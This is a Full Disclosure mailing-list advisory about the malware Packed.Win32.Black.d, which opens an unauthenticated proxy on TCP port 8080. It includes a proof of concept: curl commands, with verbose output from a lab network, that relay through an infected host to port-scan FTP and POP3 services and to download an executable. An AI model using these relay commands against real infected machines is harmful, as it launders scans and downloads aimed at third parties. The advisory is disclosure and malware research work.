Date: Wed, 21 Apr 2021 20:23:38 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Packed.Win32.Black.d / Unauthenticated Open Proxy

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/17e3836682ffb0913459ece7c3f0786d.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Packed.Win32.Black.d
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080 and drops one of two
executables named "Unknown.exe" or "Internet Explorer.exe under Windows
dir". Third-party adversaries who can connect to the infected system can
relay requests from the original connection to the destination and then
back to the origination system. Attackers may then be able to launch
attacks, download files or port scan third party systems and it will appear
as the attacks originated from that infected host. The relay does not
require authentication or any special User-agent check and leverages the
HTTP Host header in the request to connect to third-party systems.
Type: PE32
MD5: 17e3836682ffb0913459ece7c3f0786d
Vuln ID: MVID-2021-0183
Dropped files: "Unknown.exe" or "Internet Explorer.exe"
Disclosure: 04/21/2021

Exploit/PoC:
Port scan FTP port 21)

curl http://192.168.88.128:8080 -H "Host: 192.168.88.129:21" -v
 Rebuilt URL to: http://192.168.88.128:8080/
   Trying 192.168.88.128...
 TCP_NODELAY set
 Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0)
 GET / HTTP/1.1
 Host: 192.168.88.129:21
 User-Agent: curl/7.55.1
 Accept: */*

220 INetSim FTP Service ready.
500 Unknown command.

Port scan POP3 port 110)

curl http://192.168.88.128:8080 -H "Host: 192.168.88.129:110" -v
 Rebuilt URL to: http://192.168.88.128:8080/
   Trying 192.168.88.128...
 TCP_NODELAY set
 Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0)
 GET / HTTP/1.1
 Host: 192.168.88.129:110
 User-Agent: curl/7.55.1
 Accept: */*

+OK INetSim POP3 Server ready <4781.1618963833@...3host>
-ERR Unknown command.

Download files)

curl http://192.168.88.128:8080/DOOM.exe -H "Host: 192.168.88.129:2222"
--output DOOM.exe -v
   Trying 192.168.88.128...
 TCP_NODELAY set
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
 Current
                                 Dload  Upload   Total   Spent    Left
 Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--
  0* Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0)
 GET /DOOM.exe HTTP/1.1
 Host: 192.168.88.129:2222
 User-Agent: curl/7.55.1
 Accept: */*

 HTTP 1.0, assume close after body
 HTTP/1.0 200 OK
 Server: SimpleHTTP/0.6 Python/2.7.6
 Date: Wed, 21 Apr 2021 00:14:34 GMT
 Content-type: application/x-msdos-program
 Content-Length: 103533
 Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT

{ [78487 bytes data]
 75  101k   75 78487    0     0  78487      0  0:00:01  0:00:01 --:--:--
71808* transfer closed with 25046 bytes remaining to read
 75  101k   75 78487    0     0  78487      0  0:00:01  0:00:01 --:--:--
67895
* Closing connection 0


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
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the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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